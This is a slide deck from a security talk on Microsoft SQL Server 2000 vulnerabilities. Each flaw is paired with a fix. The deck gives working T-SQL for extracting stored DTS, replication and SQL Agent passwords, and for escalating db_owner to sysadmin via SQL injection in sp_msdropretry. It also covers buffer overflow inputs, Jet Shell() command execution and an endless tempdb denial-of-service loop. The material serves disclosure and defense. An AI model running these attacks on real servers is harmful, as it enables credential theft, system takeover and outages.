

# Hunting flaws in Microsoft SQL Server

Cesar Cerrudo

Independent Security Researcher/Consultant

Aaron Newman

CTO/Founder, Application Security, Inc.

[www.appsecinc.com](http://www.appsecinc.com)



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Outline

---

- Collecting passwords
- Elevating privileges
- Owning the system
- Denial of Service attacks
- Resources, Conclusion, and Wrap Up
  - Demo of Data Thief



# Collecting Passwords



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Using Mixed Mode Authentication

- Passwords saved weakly encrypted
  - Encryption is really just encoding - no secret key
  - If you know the algorithm, you can decode
  - Saved in tables, registry, etc...
- Why are they saved with weak encryption?
  - Must be extracted and used later for authentication
- The problem
  - Passwords are saved in tables with weak permissions
  - Stored procs with weak permissions return passwords
  - Passwords saved in registry with weak permissions

# DTS packages

- Can be stored in several formats
  - SQL Server, Meta Data Services
  - Structured Stored File, Visual Basic File
- When saved in SQL Server or Meta Data Services
  - All the DTS information is saved in tables
  - Stored in msdb system database
  - Saved information includes connection passwords!!!
- DTS package can have 2 different passwords
  - Passwords used by package to connect to datasources
  - Password to encrypt the package

# Saving DTS packages in SQL Server

- When DTS Package is saved in SQL Server
  - Encoded using proprietary algorithm
  - Stored in msdb.dbo.sysdtspackages system table
- Default access controls on the table sysdtspackages
  - Only dbo/sysadmins can select from the table
- Stored procedures that access sysdtspackages
  - msdb.dbo.sp\_enum\_dtspackages
  - msdb.dbo.sp\_get\_dtspackage
  - EXECUTE permissions granted to public on these procs
  - Procedures can be used to retrieve encoded passwords

# Uncovering passwords in sysdtspackages

- Get the DTS package data
- Insert into another SQL Server Instance
- Open DTS package in Enterprise Manager
- Decoding the passwords
  - Read passwords from memory
  - Run package and sniff password off network
- Brute-force the DTS package if password-protected

# Fix for sysdtspackages

- Use strong passwords on DTS packages



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Saving DTS packages in Meta Data Services

- DTS Package information is saved in several tables
- Connection passwords are saved in clear text in `msdb.dbo.rtbldmbprops`
- Default access control on `msdb.dbo.RTblDBMprops`
  - SELECT permissions granted to public
  - Cleartext password can be SELECTed by any user
- Select the cleartext password
  - Select \* from `msdb.dbo.RTblDBMProps`
  - Password contained in field “col11120”



# Fix for RTblDBMProps

- Revoke select permissions from this table
- From SQL Query Analyzer

```
revoke select
on msdb.dbo.RTblDBMProps
from public
```
- Do not store DTS packages in Meta Data Services
- DTS packages can not be stored in Meta Data Services by default in SP3
  - The option must be enabled via registry key or from EM

# Replication

- Allows data to be sync'ed with remote SQL Server
- If you –
  - Log in with Enterprise Manager using SQL authentication
  - Create a subscription
  - Set to use Windows Synchronization Manager for synchronization
- Then –
  - Windows Synchronization Manger will use SQL authentication by default
  - Login password will be stored in the registry (encoded)
  - Everyone will have read permission on key

# Saving password in registry

- A new registry key is created under
  - HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication\Subscriptions
- Name of the new key
  - Publisher:PublisherDb:Publication:Subscriber:SubscriberDb
- Encoded password saved in value named
  - SubscriberEncryptedPasswordBinary

# Uncovering replication passwords

- Extract the password from the registry

```
EXEC master.dbo.xp_regread
  @rootkey='HKEY_LOCAL_MACHINE',
  @key= 'SOFTWARE\Microsoft\Microsoft SQL
        Server\80\Replication\Subscriptions\<key>',
  @value_name=
    'SubscriberEncryptedPasswordBinary'
```

- Decode the password:

```
declare @password nvarchar(524)
set @password=encryptedpasswordgoeshere
exec master..xp_repl_help_connect @password OUTPUT
select @password
```



# Fix for registry passwords

- Apply Service Pack 3
  - Login passwords are not saved in the registry anymore
  - Windows Synchronization Manager will ask for passwords every time it synchronizes, if it was set to use SQL Authentication.
- Revoke execute permissions from xp\_regread
- From SQL Query Analyzer  
revoke execute  
on master.dbo.xp\_regread  
from public

# SQL Agent

- Used to run jobs and perform maintenance tasks on a scheduled tasks
- If you -
  - Configured SQL Agent to connect using SQL Server authentication
- Then -
  - A sysadmin login and password must be recorded
  - The password is saved encoded in LSA secrets key
  - SQL Agent must run under Windows administrative account to retrieve password from LSA secrets key

# LSA secret keys

- Permissions on these keys are locked down
  - Only LocalSystem and Administrators can access
- If SQL Server service is running as an administrative account
  - msdb.dbo.sp\_get\_sqlagent\_properties can retrieve values from the registry
  - Execute permissions granted to public on this procedure

# Uncovering SQL Agent passwords

- Proc `sp_get_sqlagent_properties` can be used by anyone to uncover password
- Retrieve the encoded password  
`exec msdb.dbo.sp_get_sqlagent_properties`
- Crack it using chosen plain-text attack
- Decode with `decrypt()` function in `semcomn.dll`
  - Located in `SqlServerInstance\Binn` folder
  - Thanks Jimmers for find this function
  - [http://jimmers.narod.ru/agent\\_pwd.c](http://jimmers.narod.ru/agent_pwd.c)

# Fix for SQL Agent passwords

- Use Windows authentication to login the SQL Agent
- Revoke execute from sp\_get\_sqlagent\_properties
- From SQL Query Analyzer  
revoke execute  
on msdb.dbo.sp\_get\_sqlagent\_properties  
from public
- Apply Service Pack 3
  - Stored procedure only returns passwords for sysadmins

# Elevating privileges



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Global Temporary Stored Procedures

- Can be created by any user
- Can be executed by all users
- Can be altered, dropped, etc... by any user without restrictions
- Excellent opportunity to insert Trojan code.

# Inserting the Trojan code

- Search for global temporary stored procedures

```
select name  
  from tempdb..sysobjects  
 where name like '##%'
```

- Modify global temp

```
alter proc ##<name> as  
  <original code here>  
  <trojan code here>
```

- Wait for privileged user to execute

# Fix for global temp stored procedure

- Not considered a vulnerability by Microsoft
- Works as designed
- Conclusion – BAD DESIGN!!!!
- Work-around
  - Avoid using global temporary stored procedures

# Views and stored procedures

- Object such as stored procedures and views can reference other objects
- If object owner of both objects are the same
  - Permissions are not checked on the referenced objects
  - SQL Server assumes object owner would not reference objects that unless owner meant it
- Referred to as ownership chaining

# Cross-database ownership

- If sa login is the database owner of a database, then sa login is mapped to the dbo user
- All users granted the db\_owner role can create objects and designate them as owned by dbo
- What happens when
  - A view or stored procedure references object in a different database
  - View or procedure is owned by dbo
  - Object is owned by a different dbo in a different database

# Cross-database ownership

- Test this concept

```
use testdatabase
create proc dbo.test as
    select * from master.dbo.sysxlogins
go
exec test
```

- Guess what – it works!!!
- Retrieves sysxlogin from master database

# Why does this work?

- SQL Server performs access control by
  - Checking permissions on stored procedures first
  - Gets the SID (0x01 *sa* SID) of the user (*dbo*) in the current database that owns the stored procedure
  - Compares the SID with the SIDs of the owners of the objects referenced in the stored procedure
- Because the SID of the owner of the stored procedure matches the SID of the owner of the objects referenced in the stored procedure - it works!!!

# Why does this work?

- Access controls not designed to handle a user:
  - Granted the *db\_owner* role but is not the *dbo*
  - Is not a member of *sysadmin* role
  - That creates a stored procedure as the *dbo* user
  - Doesn't have permissions in objects referenced in the SP
- Also applies to *views*, *triggers* and *user defined functions*
- Any *db\_owner* can impersonate *sa* when *sa* is *dbo*
- Also works when using Windows Authentication

# db\_owner becoming sysadmin

- Create a view to modify *sysxlogins*

```
exec sp_executesql
```

```
N'create view dbo.test as
```

```
select * from master.dbo.sysxlogins'
```

- Exploits SQL injection in `sp_msdropretry` to write system tables (discovered by Chris Anley)

- Set SID to 0x01

```
exec sp_msdropretry
```

```
`xx update sysusers set sid=0x01 where name=
```

```
`dbo`', `xx`
```



# db\_owner becoming sysadmin (cont)

- Set xstatus field to 18 (sysadmin)

```
exec sp_msdropretry
```

```
'xx update dbo.test set xstatus=18 where  
name= SUSER_SNAME( )', 'xx'
```

- Return state back to before the hack

```
exec sp_executesql N'drop view dbo.test'
```

```
exec sp_msdropretry 'xx update sysusers set  
sid=SUSER_SID(''DbOwnerLogin'') where  
name= ''dbo'', 'xx'
```



# Other vulnerable fixed-database roles

- Previous attack can be performed by
  - db\_securityadmin
  - db\_datawriter
  - db\_ddladmin
- db\_securityadmin can grant write on any table
- db\_datawriter has write permissions to all tables
- db\_ddladmin can alter objects that doesn't own

# Fix for cross-database ownership

- SQL Server service pack 3 new server option
  - “Allow cross-database ownership chaining”

- Option disabled by default installing SP3

- Can be enabled/disabled later:

```
exec sp_configure
```

```
    'Cross DB Ownership Chaining', '1'
```



# Fix for cross-database ownership

- Option can be set per database

```
exec sp_dboption
    'databasename', 'db channing', 'true'
```
- Revoke execute on sp\_MSdropretry
  - From SQL Query Analyzer

```
revoke execute
    on master.dbo.sp_MSdropretry
    from public
```
- Apply Service Pack 3
  - sp\_MSdropretry system stored procedure is not vulnerable to SQL injection anymore

# Owning the system



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Gaining operating system privileges

- After attacker becomes sysadmin
  - the game is over
- Attacker still needs a way to gain control of the operating system
- Excellent opportunity for exploiting known buffer overflows or other holes
  - ie: if xp\_cmdshell & its .dll has been removed

# Buffer overflow

- Extended stored procedures don't properly validate input data
- xp\_makewebtask
  - Has two parameters FILE and TPLT
  - Are not correctly validated
  - By passing long string to one of these parameters
  - A unicode stack-based overflow occurs
- Exploitable to execute operating system commands

# Buffer overflow code sample #1

- First example

```
EXECUTE sp_makewebtask
  @outputfile = 'c:\BLOBSMP.HTM',
  @query = 'SELECT * FROM publishers ',
  @webpagetitle = 'Publishers', @resultstitle =
  'Title',
  @whentype = 9,
  @blobfmt = '%1% FILE=C:\XXXXXXXXXXXXXXXXXX...',
  @rowcnt = 2
```



# Buffer overflow code sample #2

- Second example

```
EXECUTE sp_makewebtask
  @outputfile = 'c:\BLOBSMP.HTM',
  @query = 'SELECT * FROM publishers ',
  @webpagetitle = 'Publishers', @resultstitle =
  'Title',
  @whentype = 9,
  @blobfmt='%1% FILE=C:\BLOBSMP.HTM
  TPLT=C:\XXXXXXXXXXXXXXXXXX...' ,
  @rowcnt = 2
```



# Fix for xp\_makewebtask buffer overflow

- Apply Service Pack 3
- Buffer overflow fixed in xp\_makewebtask

# OLEDB providers

- Executes queries against OLEDB providers
  - Using commands `openrowset()` and `opendatasource()`

- Excellent opportunity to exploit known holes

```
SELECT *  
FROM OPENROWSET(  
    'Microsoft.Jet.OLEDB.4.0',  
    'C:\database.mdb'; 'ADMIN'; '' ,  
    'select *, Shell(''  
from customers' )
```

- Failed because Jet Sandbox is enabled
  - Blocks `Shell()` function used outside Microsoft Access.

# OLEDB providers (cont)

- Attempt to use different version of OLEDB provider

```
SELECT * FROM OPENROWSET(  
    'Microsoft.Jet.OLEDB.3.51',  
    'C:\database.mdb'; 'ADMIN'; '', 'select *,  
Shell(' '<command>' )  
from customers' )
```

- Must access a Microsoft Access 97 database
  - Several exist in a Windows 2000 system by default
- Jet Sandbox blocks Jet 4.0 - fails to block Jet 3.51
- The above query works!!! (doesn't work on Windows XP)

# Fix for OLEDB providers

- Not particularly related to SQL Server
- Result of the JET sandbox which fails to block the shell() function
- No fix available

# Gathering service account information

- Useful to know which Windows account SQL Server service runs as
- Helps determine privileges over OS attacker can gain
- *Openrowset()* function returns the Windows account under which SQL Server runs
- Discovered through error messages when executed in a specific way

# Querying service account information

- To determine the service account

```
SELECT * FROM OPENROWSET  
  ('sqloledb', ' '; ; , '')
```

- Response

```
Msg 18456, Level 14, State 1, Line 1  
Login failed for user 'Administrator'.
```

# Fix for openrowset

- Apply Service Pack 3
- Windows account is not returned in error messages of openrowset() function



# Denial of Service Attacks



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Temporary tables

- Any user can create temporary tables without restrictions
- guest user can't be removed from tempdb system database
- Excellent opportunity for DoS

# Filling up tempdb

- The next query will create a temporary table and will run an endless loop inserting values in the table
- After enough time *tempdb* database will consume all system resources
- SQL Server instance will fail or crash

```
create table #tmp
(x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select
* from #tmp')
```

# Fix for tempdb DoS

- Currently no protection against this attack
- Microsoft plans to add protection in future SQL Server release
  - probably in Yukon (SQL Server .NET)
- Work-around
  - Set SQL Server Agent Alerts on unexpected tempdb database grow

# Resources, Conclusion, and Wrap Up



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Recommendations

- Keep SQL Server up to date with hot fixes
- Use Windows credentials for authentication
- Disable Cross-Database ownership chaining
- Run SQL Server using non-privileged user
- Set SQL Agent Alerts on critical issues

# Recommendations (continued)

- Run periodic checks
  - On all system and non-system object permissions
  - On all tables, views, stored procedures, and extended stored procedures
  - On users permissions
- Audit as often as possible
- And pray ;)

# Resources

- Stay patched
  - <http://www.microsoft.com/security>
  - <http://www.microsoft.com/sql>
- Security alerts
  - [www.mssqlsecurity.net/resources/maillinglist.html](http://www.mssqlsecurity.net/resources/maillinglist.html)
- Manipulating Microsoft SQL Server Using SQL Injection (by Cesar Cerrudo)
  - <http://www.appsecinc.com/techdocs/whitepapers.html>
- SQL Security information
  - <http://www.appsecinc.com/resources>
  - <http://www.sqlsecurity.com> (Chip Andrews)

# Summary

- Huge security improvement in SP3
  - Mostly as a result of independent security researchers work
- Still several holes without fixes
- SQL Server 7 seems to be forgotten
  - No fixes yet
  - You must buy SQL Server 2000 ;)
- If you use SQL Server Authentication sooner or later you will get hacked.

# Data Thief

- Tool to exploit SQL injection
- Uses techniques described in paper Manipulating MS SQL Server using SQL injection
- Gets query results back from a SQL Server
- Works even if queries results can not be returned to the browser
- Works only if outbound connections are not blocked at firewalls (80%+ of sites are vulnerable to SQL injection don't properly block outbound connections)
- Allows you to set arbitrary outbound connection ports to bypass some firewalls filters



# Data Thief

---

- Demo
- Download at:  
<http://www.appsecinc.com/resources/freetools/>



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)

# Questions?

- About
  - SQL Server security features
  - Vulnerabilities
  - Protecting your SQL Server

- Email us at:

**sqlsec@yahoo.com**

**anewman@appsecinc.com**



**APPLICATION  
SECURITY, INC.**

[www.AppSecInc.com](http://www.AppSecInc.com)